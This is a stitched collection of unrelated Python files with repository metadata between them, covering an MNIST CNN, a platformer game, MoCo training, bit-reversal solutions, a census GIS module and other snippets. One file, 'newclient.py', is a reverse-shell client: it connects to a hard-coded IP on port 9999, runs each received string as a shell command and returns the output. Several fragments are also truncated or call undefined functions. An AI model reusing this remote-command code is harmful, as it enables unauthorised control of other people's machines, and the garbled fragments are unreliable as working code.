Tree = klepto.archives.dir_archive('treeFile', cached=True, serialized=True)
Tree.load('treeFile')
plambda_candidates = {}
for level in Tree['lr_bound']:
plambda_candidates[level] = list(np.arange(0.001, 0.05, 0.0005))
prediction_model = tf.generate_prediction_model(Tree['lr_bound'], Tree['tree'], Tree['rI'], rating_matrix_csc[:, start:end].tocsr(), plambda_candidates, rating_matrix_val_csc)
######################################################################
######################### Test for New-user ##########################
rmse_result = tf.pred_RMSE_for_new_user(Tree['split_item'], rI, prediction_model, rating_matrix_csc[:, end:])
######################################################################
|
[
"zzhno50@hotmail.com"
] |
zzhno50@hotmail.com
|
c197ade7c48dc6d9abbc95297012c1ba1bc2f6b2
|
f3591f53c7a4ab6f1babdeb1ff4e21843054d2f2
|
/train_blog.py
|
decd987287d9c24bcf358e43d9a11363a7c72cf6
|
[
"MIT"
] |
permissive
|
forks-learning/self_supervised
|
3bf0ea8d7402bb780ba68e97806798340cc921c3
|
a3addb9c4bc5277224eee040c6ba30230f7586fc
|
refs/heads/master
| 2022-12-08T00:24:46.495732
| 2020-08-26T18:01:21
| 2020-08-26T18:01:21
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,338
|
py
|
import pytorch_lightning as pl
from attr import evolve
from pytorch_lightning.loggers import TensorBoardLogger
from moco import MoCoMethod
from moco import MoCoMethodParams
def main():
base_config = MoCoMethodParams(
lr=0.8,
batch_size=256,
multi_gpu_training=False,
loss_type="ip",
use_negative_examples=False,
use_both_augmentations_as_queries=True,
mlp_normalization="bn",
prediction_mlp_layers=2,
projection_mlp_layers=2,
)
configs = {
"base": base_config,
"pred_only": evolve(base_config, mlp_normalization=None, prediction_mlp_normalization="bn"),
"proj_only": evolve(base_config, mlp_normalization="bn", prediction_mlp_normalization=None),
"no_norm": evolve(base_config, mlp_normalization=None),
"layer_norm": evolve(base_config, mlp_normalization="ln"),
"xent": evolve(base_config, use_negative_examples=True, loss_type="ce", mlp_normalization=None, lr=0.02),
}
for seed in range(3):
for name, config in configs.items():
method = MoCoMethod(config)
logger = TensorBoardLogger("tb_logs", name=f"{name}_{seed}")
trainer = pl.Trainer(gpus=1, max_epochs=10, logger=logger)
trainer.fit(method)
if __name__ == "__main__":
main()
|
[
"abe@sourceress.co"
] |
abe@sourceress.co
|
7c6ad8291a41bca71e27bfbe2cc3b423b82fcc5d
|
121a430d428cda6b854a40ebd371cf6210b2d05a
|
/platformer.py
|
d262ac828d8569c32d457774e22c373d4dbff307
|
[
"MIT"
] |
permissive
|
oliviaosimon/Platformer
|
0be14eb4d163fee51e4347695cd1badd73dae12b
|
d70db0f969f73fe5a7bbe6babb4f77c2e35061ec
|
refs/heads/master
| 2020-04-02T23:08:31.090310
| 2018-12-11T16:55:24
| 2018-12-11T16:55:24
| 154,857,055
| 0
| 0
|
MIT
| 2018-10-26T15:39:41
| 2018-10-26T15:39:41
| null |
UTF-8
|
Python
| false
| false
| 9,228
|
py
|
"""
platformer.py
Author: Olivia Simon
Credit:
Assignment:
Write and submit a program that implements the sandbox platformer game:
https://github.com/HHS-IntroProgramming/Platformer
"""
from ggame import App, Color, LineStyle, Sprite, RectangleAsset, CircleAsset, EllipseAsset, PolygonAsset, ImageAsset, Frame
myapp = App()
SCREEN_WIDTH = 1000
SCREEN_HEIGHT = 800
lightBlue = Color(0x2EFEC8, 1.0)
black = Color(0x000000, 1.0)
pink = Color(0xFF00FF, 1.0)
red = Color(0xFF5733, 1.0)
white = Color(0xFFFFFF, 1.0)
red = Color(0xff0000, 1.0)
green = Color(0x00ff00, 1.0)
darkBlue = Color(0x0000ff, 1.0)
black = Color(0x000000, 1.0)
white = Color(0xffffff, 1.0)
grey = Color(0xC0C0C0, 1.0)
thinline = LineStyle(2, black)
blkline = LineStyle(1, black)
noline = LineStyle(0, white)
coolline = LineStyle(1, grey)
blueline = LineStyle(2, darkBlue)
redline = LineStyle(1, red)
greenline = LineStyle(1, green)
gridline = LineStyle(1, grey)
grid=RectangleAsset(30,30,gridline,white)
class Blocks(Sprite):
def __init__(self, x, y, w, h, color):
grid = lambda X : X - X % w
super().__init__(
RectangleAsset(w-1, h-1, LineStyle(0,Color(0, 1.0)), color),(grid(x), grid(y)))
#collisions
collisioncontra =self.collidingWithSprites(type(self))
if len(collisioncontra):
collisioncontra[0].destroy()
class Wall(Blocks):
def __init__(self,x,y):
super().__init__(x,y,60,60,grey) #(self, x, y, w, h, color)
class MarioWall(Blocks):
def __init__(self, x, y):
super().__init__(x, y, 50, 15, black)
class Newton(Sprite):
def __init__(self, x, y, width, height, color, app):
self.vx = self.vy = 0
self.stuck = False
self.app = app
self.resting = False
super().__init__(
RectangleAsset(
width, height,
LineStyle(0, white),
color),
(x, y))
def step(self):
# process movement in horizontal direction first
self.x += self.vx
collides = self.collidingWithSprites(Wall)
collides.extend(self.collidingWithSprites(MarioWall))
for collider in collides:
if self.vx > 0 or self.vx < 0:
if self.vx > 0:
self.x = collider.x - self.width - 1
else:
self.x = collider.x + collider.width + 1
self.vx = 0
# process movement in vertical direction second
self.y += self.vy
collides = self.collidingWithSprites(Wall)
collides.extend(self.collidingWithSprites(MarioWall))
for collider in collides:
if self.vy > 0 or self.vy < 0:
if self.vy > 0:
self.y = collider.y - self.height - 1
if not self.resting:
self.vx = 0
self.resting = True
self.vy = 0
# upward collisions for true Wall only
elif isinstance(collider, Wall):
pass
#self.y = collider.y + collider.height
#self.vy = 0
# adjust vertical velocity for acceleration due to gravity
self.vy += 1
# check for out of bounds
if self.y > self.app.height:
self.app.killMe(self)
class Playah(Newton):
def __init__(self, x, y, app):
w = 10
h = 20
super().__init__(x-w//2, y-h//2, w, h, lightBlue, app)
def step(self):
Jumpers = self.collidingWithSprites(Jumper) #interference with Jumpers
if len(Jumpers):
self.vy = -16 #y -- y positioning jump boost
self.resting = False
super().step()
def move(self, key):
if key == "left arrow":
if self.vx > 0:
self.vx = 0
else:
self.vx = -5
elif key == "right arrow":
if self.vx < 0:
self.vx = 0
else:
self.vx = 5
elif key == "space" and self.resting:
self.vy = -12
self.resting = False
def stopMove(self, key):
if key == "left arrow" or key == "right arrow":
if self.resting:
self.vx = 0
class Pellets(Sprite):
def __init__(self, direction, x, y, app):
w = 15
h = 5
self.direction = direction
self.app = app
super().__init__(RectangleAsset(w, h,
LineStyle(0, Color(0, 1.0)),
Color(0x00ffff, 1.0)),
(x-w//2, y-h//2))
def step(self):
self.x += self.direction
# check for out of bounds
if self.x > self.app.width or self.x < 0:
self.app.killMe(self)
# check for any collisions
hits = self.collidingWithSprites()
selfdestruct = False
for target in hits:
# destroy players and other Pellets
if isinstance(target, Playah) or isinstance(target, Pellets):
self.app.killMe(target)
# self destruct on anything but a Machina
if not isinstance(target, Machina):
selfdestruct = True
if selfdestruct:
self.app.killMe(self)
class Machina(Newton):
def __init__(self, x, y, app):
w = 20
h = 35
r = 10
self.time = 0
self.direction = 1
super().__init__(x-w//2, y-h//2, w, h, Color(0xff8800, 1.0), app)
def step(self):
super().step()
self.time += 1
if self.time % 100 == 0:
Pellets(self.direction,
self.x+self.width//2,
self.y+10,
self.app)
self.direction *= -1
class Jumper(Newton):
def __init__(self, x, y, app):
w = 20
h = 3
super().__init__(x-w//2, y-h//2, w, h,green, app)
def step(self):
if self.resting:
self.app.FallingJumpers.remove(self)
super().step()
#Index/Glossarix
class Game(App):
def __init__(self):
super().__init__()
self.p = None
self.pos = (0,0)
self.listenKeyEvent("keydown", "w", self.newWall)
self.listenKeyEvent("keydown", "p", self.newPlayah)
self.listenKeyEvent("keydown", "j", self.newJumper)
self.listenKeyEvent("keydown", "m", self.newStepThrough)
self.listenKeyEvent("keydown", "left arrow", self.moveKey)
self.listenKeyEvent("keydown", "right arrow", self.moveKey)
self.listenKeyEvent("keydown", "space", self.moveKey)
self.listenKeyEvent("keyup", "left arrow", self.stopMoveKey)
self.listenKeyEvent("keyup", "right arrow", self.stopMoveKey)
self.listenKeyEvent("keyup", "space", self.stopMoveKey)
self.listenMouseEvent("mousemove", self.moveMouse)
self.FallingJumpers = [] #jummpers appended
self.KillList = []
print("press w to make a wall appear.")
print("press p for your Playah to appear.")
print("press m for a ghost wall to appear.")
print("press j for a jumper to appear.")
print("use the arrowkeys to move left and right.")
print("use the spacebar to jump.")
print("Have fun!")
def moveMouse(self, event):
self.pos = (event.x, event.y)
def newWall(self, event):
Wall(self.pos[0], self.pos[1])
def newPlayah(self, event):
for p in Game.getSpritesbyClass(Playah):
p.destroy()
self.p = None
self.p = Playah(self.pos[0], self.pos[1], self)
def newJumper(self, event):
self.FallingJumpers.append(Jumper(self.pos[0], self.pos[1], self))
def newStepThrough(self, event):
MarioWall(self.pos[0], self.pos[1],) #how to place it directly on mouse and not higher???
def moveKey(self, event):
if self.p:
self.p.move(event.key)
def stopMoveKey(self, event):
if self.p:
self.p.stopMove(event.key)
#########
def step(self):
if self.p:
self.p.step()
for s in self.FallingJumpers: # problem fixed, empty list in Game added for fallingjumpers
s.step()
for t in Game.getSpritesbyClass(Machina):
t.step()
for b in Game.getSpritesbyClass(Pellets):
b.step()
for k in self.KillList:
k.destroy()
self.KillList = []
def killMe(self, obj):
if obj in self.FallingJumpers:
self.FallingJumpers.remove(obj)
elif obj == self.p:
self.p = None
if not obj in self.KillList:
self.KillList.append(obj)
app = Game()
app.run()
|
[
"42871888+oliviaosimon@users.noreply.github.com"
] |
42871888+oliviaosimon@users.noreply.github.com
|
99993322ae5d3b12cf215d06c988de7930420701
|
6ea03449de7e8b3efcd980995eef9d2a6226fa90
|
/cnn_minist.py
|
4011f88c9c22d738db7bd4b19deccf6e3f5443c8
|
[] |
no_license
|
wuzhouqiang/tensorflow2
|
cab6c05fa89aab7e725a54c8112bae34ba8645f7
|
a5bc48972cb6a7e8355dc44dc0f36ad571f7a9b6
|
refs/heads/master
| 2020-06-27T14:03:26.444538
| 2019-08-06T04:12:06
| 2019-08-06T04:12:06
| 199,972,058
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,409
|
py
|
import tensorflow as tf
from tensorflow import keras
lr = 1e-3
batchsz = 256
epochs = 50
(x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data()
# print(x_train.shape, y_train.shape) # (60000, 28, 28) (60000,)
x_train = x_train.reshape(60000, 28, 28, 1)
x_test = x_test.reshape(10000, 28, 28, 1)
x_train = x_train / 255
x_test = x_test / 255
train_ds = tf.data.Dataset.from_tensor_slices((x_train, y_train)).shuffle(10000).batch(batchsz)
test_ds = tf.data.Dataset.from_tensor_slices((x_test, y_test)).batch(batchsz)
model = keras.models.Sequential()
model.add(keras.layers.Conv2D(filters=32, kernel_size=(3, 3), input_shape=(28, 28, 1), activation='relu', ))
model.add(keras.layers.MaxPooling2D((2, 2)))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Conv2D(64, (3, 3), activation='relu'))
model.add(keras.layers.MaxPooling2D((2, 2)))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Conv2D(64, (3, 3), activation='relu'))
model.add(keras.layers.Flatten())
model.add(keras.layers.Dense(64, activation='relu'))
model.add(keras.layers.Dropout(0.5))
model.add(keras.layers.Dense(10, activation='softmax'))
print(model.summary())
model.compile(optimizer=tf.keras.optimizers.Adam(lr=lr),
loss=tf.losses.SparseCategoricalCrossentropy(),
metrics=['accuracy'])
model.fit(train_ds, epochs=epochs)
model.evaluate(test_ds)
|
[
"w943554532@126.com"
] |
w943554532@126.com
|
ac86c90afb0aadf8e7f618ee3cf32b49cf3f6cca
|
6c28f51864cf2d2582c582f168bbd7aaf9207d71
|
/14_week/이레/5676_음주 코딩.py
|
212f133e297e07a2901ca2e9de5d4b3fd87a7de0
|
[] |
no_license
|
brrgi/Algorithms
|
a4ae5319703b9f5daa359bb1afdb82a1b17797cc
|
2b7003ef0463a56f4595656d46fdae11f88d246a
|
refs/heads/main
| 2023-08-29T00:17:39.255573
| 2021-10-31T14:21:36
| 2021-10-31T14:21:36
| 386,301,933
| 2
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 651
|
py
|
while 1:
try:
n,k=map(int, input().split())
tree=(n*4)*[0]
nodes=list(map(int, input().split()))
answer=''
init(0,n-1,1)
for _ in range(k):
lst=input().split()
if lst[0]=='C':
i,V=map(int, (lst[1],lst[2]))
nodes[i-1]=pmz(V)
update(0,n-1,1,i-1,pmz(V))
else:
i,j=map(int, (lst[1],lst[2]))
res=query(0,n-1,1,i-1,j-1)
if(res==0):answer+='0'
elif(res>0):answer+='+'
else:answer+='-'
print(answer)
except Exception:
break
|
[
"48500985+brrgi@users.noreply.github.com"
] |
48500985+brrgi@users.noreply.github.com
|
bc5f1733b0803e237f45c8a20bd76e628c440728
|
5f0f3823e4f637dec72ec155dfda9ad485fca190
|
/Chapter-1/01.py
|
2b9ef64a6a4d1ed83eb9ea749298ae772ee2852e
|
[] |
no_license
|
Loliver1224/NLP100
|
41eacdf45886b2c16589129812d7cc695b6fde42
|
458f7a8383de83840d23fb64e0047df372f3db55
|
refs/heads/master
| 2020-05-01T09:18:12.122776
| 2019-09-05T16:22:28
| 2019-09-05T16:22:28
| 177,397,026
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 245
|
py
|
# 01. 「パタトクカシーー」
# 「パタトクカシーー」という文字列の1,3,5,7文字目を取り出して連結した文字列を得よ
s = "パタトクカシーー"
print(s[::2])
# 前回と同様にスライスを用いる
|
[
"swim.01060808@gmail.com"
] |
swim.01060808@gmail.com
|
f5d619cb1c3318a7c4daf4cc4c3df14dbff8b35c
|
37279a6b70fd432d96087f2154ded529ffbc0c9e
|
/binary/190-Reverse-Bits.py
|
cd559594ce7b9ec23bb1a474deca59b1404b5570
|
[] |
no_license
|
abhishek-jana/Leetcode-Solutions
|
cfe1bad64fda2421ba85f23121ca50ffc59357da
|
9cd5d12b7438c646226a5e174571e3dbf339a179
|
refs/heads/master
| 2020-12-02T02:04:41.784082
| 2020-01-22T13:07:13
| 2020-01-22T13:07:13
| 230,852,748
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,496
|
py
|
'''
Reverse bits of a given 32 bits unsigned integer.
Example 1:
Input: 00000010100101000001111010011100
Output: 00111001011110000010100101000000
Explanation: The input binary string 00000010100101000001111010011100 represents the unsigned integer 43261596, so return 964176192 which its binary representation is 00111001011110000010100101000000.
Example 2:
Input: 11111111111111111111111111111101
Output: 10111111111111111111111111111111
Explanation: The input binary string 11111111111111111111111111111101 represents the unsigned integer 4294967293, so return 3221225471 which its binary representation is 10111111111111111111111111111111.
'''
class Solution:
# @param n, an integer
# @return an integer
def reverseBits(self, n):
res = 0
for i in range(32):
res += n & 1
n = n >> 1
if i != 31:
res = res << 1
return res
print (Solution().reverseBits(12))
# Time : O(logn) = O(32)
# Space: O(1)
class Solution(object):
# @param n, an integer
# @return an integer
def reverseBits(self, n):
result = 0
for i in range(32):
result <<= 1
result |= n & 1
n >>= 1
return result
def reverseBits2(self, n):
string = bin(n)
if '-' in string:
string = string[:3] + string[3:].zfill(32)[::-1]
else:
string = string[:2] + string[2:].zfill(32)[::-1]
return int(string, 2)
|
[
"abhishekjana6@gmail.com"
] |
abhishekjana6@gmail.com
|
ed7b2c19a04dae0bca45ca6da925bc7be5c2972b
|
2677510320f5d4e111d9262e7c76bd2eec1444e3
|
/src/control/sac_script/discrete_actor.py
|
a56d8e714ac784b441bc0ad032465c394d5ea915
|
[] |
no_license
|
amiani/spacerl
|
1037da385ab7f27aaffbd7df58cbdb01164329e0
|
ee11a5e2b2604eb06279e76964e10aad6017ebe6
|
refs/heads/master
| 2022-06-28T20:39:45.004294
| 2020-05-04T00:13:35
| 2020-05-04T00:13:35
| 249,797,554
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 747
|
py
|
import torch
from torch.distributions import Categorical
obdim, h1, h2, acdim = 6+3, 256, 256, 3
class DiscreteActor(torch.nn.Module):
def __init__(self):
super().__init__()
self.net = torch.nn.Sequential(
torch.nn.Linear(obdim, h1),
torch.nn.ReLU(),
torch.nn.Linear(h1, h2),
torch.nn.ReLU(),
torch.nn.Linear(h2, acdim),
torch.nn.LogSoftmax(dim=1),
)
def forward(self, input):
logits = self.net(input)
action = Categorical(logits=logits).sample()
return action, logits.exp(), logits
model = DiscreteActor()
traced = torch.jit.trace(model, torch.randn(1, obdim), check_trace=False)
traced.save('discrete_actor.pt')
|
[
"amaianijohns@gmail.com"
] |
amaianijohns@gmail.com
|
170ca8d188aacad28ab3a8be69a38b02bb931402
|
9e4ab50f5822941ab70fefb8ac8f2d91d702d9df
|
/suorganizer/views.py
|
a8c5954ad810ac9b24b4425723169efa4e7b3098
|
[] |
no_license
|
andyk1278/startuptracker
|
cf3b51a82aa6018b990c605cff47398636b4643c
|
b2b07db3a6213249588214200b52a705ed50b339
|
refs/heads/master
| 2021-01-02T23:00:29.839108
| 2017-08-13T09:18:51
| 2017-08-13T09:18:51
| 99,437,365
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 115
|
py
|
from django.http import HttpResponseRedirect
def redirect_root(request):
return HttpResponseRedirect('/blog/')
|
[
"andyk1278@gmail.com"
] |
andyk1278@gmail.com
|
0f2da2a3a3f2c17a50f1b0f5234713f5baf9597f
|
3aa1e554a4895252f36bf2c423d7813af67b11c9
|
/algoprac3/backjun_2609.py
|
1f8163b7259309b8a0d24d45e73117cebda959d5
|
[] |
no_license
|
rlagudals95/Algorythm
|
10e18b4d83b287144545f7129f66e0f571b814b0
|
055d1eae986071b0cfd3f00f1669043f364c090c
|
refs/heads/main
| 2023-04-28T23:49:59.926153
| 2021-05-20T01:32:16
| 2021-05-20T01:32:16
| 369,041,015
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 521
|
py
|
# C = list(map(int, input().split()))
# a = C[0]
# b = C[1]
# low = 6
# high = a*b//low
# low = a*b//high
# print(low,high)
import sys
A, B = map(int, sys.stdin.readline().split())
# a=24 b=18
a, b = A, B
while b != 0:
a = a % b # a = 24를 18로 나눈 나머지 6 // 6이 최대공약수
a, b = b, a # a는 6이 되어 b가 되고 6,18 = 18,6 이제 18이 또들어가 b로 나뉘면 0
print(a)
print(A*B//a) # 최소 공배수는 두수 곱한것 나누기 최대공약수
|
[
"76252074+rlagudals95@users.noreply.github.com"
] |
76252074+rlagudals95@users.noreply.github.com
|
f34253d3cdbb977a559f8f296b19947c19542246
|
77a73704511667d41392b15d7b87e2621453a6a4
|
/Day9/q36.py
|
379321f62dfc7f99e76e2a59f1077cb0d29e0a4a
|
[] |
no_license
|
mahtab04/Python-Programming-Practice
|
0ee790aec4ae32a474800826a7da113906289b29
|
c076c6efd786059d3a4ac33dddd41f187eb0ce10
|
refs/heads/master
| 2020-04-16T18:29:28.454966
| 2019-03-11T15:49:13
| 2019-03-11T15:49:13
| 165,822,216
| 3
| 5
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 423
|
py
|
# Program to find whether a no is power of two
# Given a positive integer, write a function to find if it is a power of two or not.
# Input : n = 4
# Output : Yes
# 22 = 4
# Input : n = 7
# Output : No
# Input : n = 32
# Output : Yes
# 25 = 32
def check_Power(number):
if(number & number-1) == 0:
print("yes")
else:
print("NO")
a = 4
b = 7
c = 32
check_Power(a)
check_Power(b)
check_Power(c)
|
[
"smmalam9@gmail.com"
] |
smmalam9@gmail.com
|
6dc940a6b8466d401e91dddd33c3ef52e54a5242
|
cb97215bde0c6d15e454b03ab9f264801772bf83
|
/Notes/Plotting/folium_extended.py
|
6c5d81c32ea59b71d4110067cc63feacac6af12f
|
[] |
no_license
|
FWP-Computer-Science/programming2-sp2021
|
331f1eb2eeea70cc10bbdeaf42fc19d031fd9b00
|
ce407b6fa8481ece0ee1ab45128c9976e8a69f6b
|
refs/heads/main
| 2023-04-11T18:12:36.024182
| 2021-05-19T14:21:37
| 2021-05-19T14:21:37
| 331,132,320
| 0
| 3
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,418
|
py
|
import folium
import csv
# https://python-visualization.github.io/folium/quickstart.html#
art_map = folium.Map(location=[41.8781, -87.6298], zoom_start=11)
# Parker 41.923000, -87.638461
# placing a marker on the map
folium.Marker(location=[41.923000, -87.638461],
popup="Our School",
icon=folium.Icon(color='red', icon='graduation-cap', prefix='fa'),
).add_to(art_map)
art_map.save('my_artmap.html')
"""
marker options:
with prefix='fa': https://fontawesome.com/v4.7.0/icons/
(https://maxcdn.bootstrapcdn.com/font-awesome/4.1.0/css/font-awesome.min.css)
without: https://getbootstrap.com/docs/3.3/components/
"""
# open the file and read through it
import csv
import random
art_file = open("/Users/bifft/PycharmProjects/programming2-sp2021/Resources/parks_public_art.csv")
art_data = list(csv.DictReader(art_file))
color_list = ['darkgreen', 'gray', 'lightgreen', 'darkpurple', 'cadetblue', 'lightblue', 'lightgray', 'orange', 'darkred', 'purple', 'pink', 'black', 'darkblue', 'beige', 'lightred', 'green', 'blue']
# make separate lists for art, location
for i in art_data:
folium.Marker(location=[i["LATITUDE"], i["LONGITUDE"]],
popup="<b>{0}</b>".format(i["ART"]),
icon=folium.Icon(color=random.choice(color_list), icon="cubes", prefix="fa")).add_to((art_map))
# plot the data from there
art_map.save('my_artmap.html')
|
[
"bifft95@gmail.com"
] |
bifft95@gmail.com
|
6f6408c6315620f3287858f8f6276f435d001ecd
|
9d939421402f98030e41d8f83c5cb3c5f8eadb45
|
/app/decorated.py
|
ace26787c86114b65840ed451ff4848f3559046c
|
[] |
no_license
|
miniYYan/xiaoniu_cron
|
3819a47c474d4a98c3959acf54ad1eaf9c3bc14a
|
f84902b45f58eba5b811e049154c4bf6cae2ae91
|
refs/heads/master
| 2022-12-20T04:28:05.052900
| 2020-09-28T01:02:57
| 2020-09-28T01:02:57
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,094
|
py
|
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from functools import wraps
from datas.utils.json import api_return
def api_err_return(code=1,msg='',data=''):
return code,msg,data
'''
接口 api返回
'''
def api_deal_return(func):
@wraps(func)
def gen_status(*args, **kwargs):
try:
result = func(*args, **kwargs)
if type(result)==str:
return api_return(errcode=0,errmsg=result)
if type(result)==list or type(result)==dict:
return api_return(errcode=0,errmsg='success',data=result)
if type(result)==tuple:
if len(result)==2:
errmsg=result[0]
if errmsg is None or errmsg=="":
errmsg='success'
return api_return(errcode=0, errmsg=errmsg, data=result[1])
else:
return api_return(errcode=result[0],errmsg=result[1],data=result[2])
except Exception as e:
error = str(e)
return api_return(errcode=1,errmsg=error)
return gen_status
|
[
"aniulee@qq.com"
] |
aniulee@qq.com
|
9fc39c434aeb8db7e69c85650d79dea51a686666
|
5d2404f62e58d5fd1f6112744ff32c3166183ac7
|
/Geek University/Seção 4/Exercicios/EX49.py
|
de8275af5902ac3f09895155461a32956779a2ef
|
[] |
no_license
|
Leownhart/My_Course_of_python
|
236cfc84d841c5883e5aa1cc0c0730e7a9a83c40
|
5abb21f8cdad91ab54247a007d40bf9ecd2cff8c
|
refs/heads/master
| 2020-08-28T15:04:33.628086
| 2020-08-24T19:25:39
| 2020-08-24T19:25:39
| 217,733,877
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 654
|
py
|
'''
49 - Faça um programa que leia um horário (hora, minuto, segundo) de inicio e a duração, em
segundos, de uma experiência biológica. O programa de resultar com o novo horário
(hora, minuto, segundo) do termino da mesma.
from datetime import datetime
now = datetime.now()
print now.year
print now.month
print now.day
print now.hour
print now.minute
print now.second
'''
# RESPOSTAS
from datetime import datetime
Hora = int(input('Informe a Hora: '))
Minuto = int(input('Informe os Minutos: '))
Segundos = int(input('Informe os Segundos: '))
print(f'Passaram-se {Hora * 3600 + Minuto * 60 + Segundos} Segundos')
print(f'{datetime.now()}')
|
[
"francisco.amartins.al@gmail.com"
] |
francisco.amartins.al@gmail.com
|
30faee71e2caf0f4591612bbe4528e2edd9a5b1e
|
684f8a81a212b58d038a353ae247fec89cde5bde
|
/newclient.py
|
89ea5422724c78eb2667f0e4e96e7a9748eecb8f
|
[
"MIT"
] |
permissive
|
saini1998/Computer-Networks
|
418731ebef4bc10b31663f86d4bd76d467ca4560
|
dd47093231edc6a11774d75470a6064818c48a0d
|
refs/heads/master
| 2021-02-13T04:55:04.197853
| 2020-03-05T17:51:01
| 2020-03-05T17:51:01
| 244,663,347
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 625
|
py
|
import socket
import os
import subprocess
s = socket.socket()
host = '172.20.10.3'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
print(output_str)
|
[
"sainiaaryaman1998@hmail.com"
] |
sainiaaryaman1998@hmail.com
|
b65f91b5d0820bef879b4902b41d7a79e7fe245a
|
33f304bbd8536045a63dea909031576ea3f7b488
|
/census_area/core.py
|
c3fe06979410922dd4552eca320be2f8349c5c06
|
[
"MIT"
] |
permissive
|
LindaLv11/census_area
|
859c92cd5ca6a8537ff45014b42771804dc29913
|
48d8bc7e73c12b58e796307e36c93029b1ec0044
|
refs/heads/master
| 2020-04-20T08:25:32.838867
| 2019-01-04T03:00:47
| 2019-01-04T03:00:47
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,436
|
py
|
import shapely.geometry
import shapely.geos
import esridump
GEO_URLS = {
'tracts' : {
1990 : 'https://gis.uspatial.umn.edu/arcgis/rest/services/nhgis/Census_Tracts_1910_2014/MapServer/8',
2000 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/Census2010/tigerWMS_Census2000/MapServer/6',
2010 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_Census2010/MapServer/14',
2011 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_Census2010/MapServer/14',
2012 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_Census2010/MapServer/14',
2013 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_ACS2013/MapServer/8',
2014 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_ACS2014/MapServer/8',
2015 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_ACS2015/MapServer/8',
2016 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_ACS2015/MapServer/8'},
'block groups' : {
2000 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/Census2010/tigerWMS_Census2000/MapServer/8',
2010 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_Census2010/MapServer/16',
2011 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_Census2010/MapServer/16',
2012 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_Census2010/MapServer/16',
2013 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_ACS2013/MapServer/10',
2014 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_ACS2014/MapServer/10',
2015 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_ACS2015/MapServer/10',
2016 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_ACS2015/MapServer/10'},
'blocks' : {
2000 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/Census2010/tigerWMS_Census2000/MapServer/10',
2010 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_Current/MapServer/12'},
'incorporated places' : {
1990 : 'https://gis.uspatial.umn.edu/arcgis/rest/services/nhgis/Places_1980_2014/MapServer/1',
2000 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/Census2010/tigerWMS_Census2000/MapServer/24',
2010 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_Census2010/MapServer/34',
2011 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_Census2010/MapServer/34',
2012 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_Census2010/MapServer/34',
2013 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_ACS2013/MapServer/26',
2014 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_ACS2014/MapServer/26',
2015 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_ACS2015/MapServer/26',
2016 : 'https://tigerweb.geo.census.gov/arcgis/rest/services/TIGERweb/tigerWMS_ACS2016/MapServer/26'}
}
class AreaFilter(object):
def __init__(self, geojson_geometry, sub_geography_url):
self.geo = shapely.geometry.shape(geojson_geometry)
geo_query_args = {'geometry': ','.join(str(x) for x in self.geo.bounds),
'geometryType': 'esriGeometryEnvelope',
'spatialRel': 'esriSpatialRelEnvelopeIntersects',
'inSR' : '4326',
'geometryPrecision' : 9,
'orderByFields': 'OID'}
self.area_dumper = esridump.EsriDumper(sub_geography_url,
extra_query_args = geo_query_args)
def __iter__(self):
for area in self.area_dumper:
area_geo = shapely.geometry.shape(area['geometry'])
if self.geo.intersects(area_geo):
try:
intersection = self.geo.intersection(area_geo)
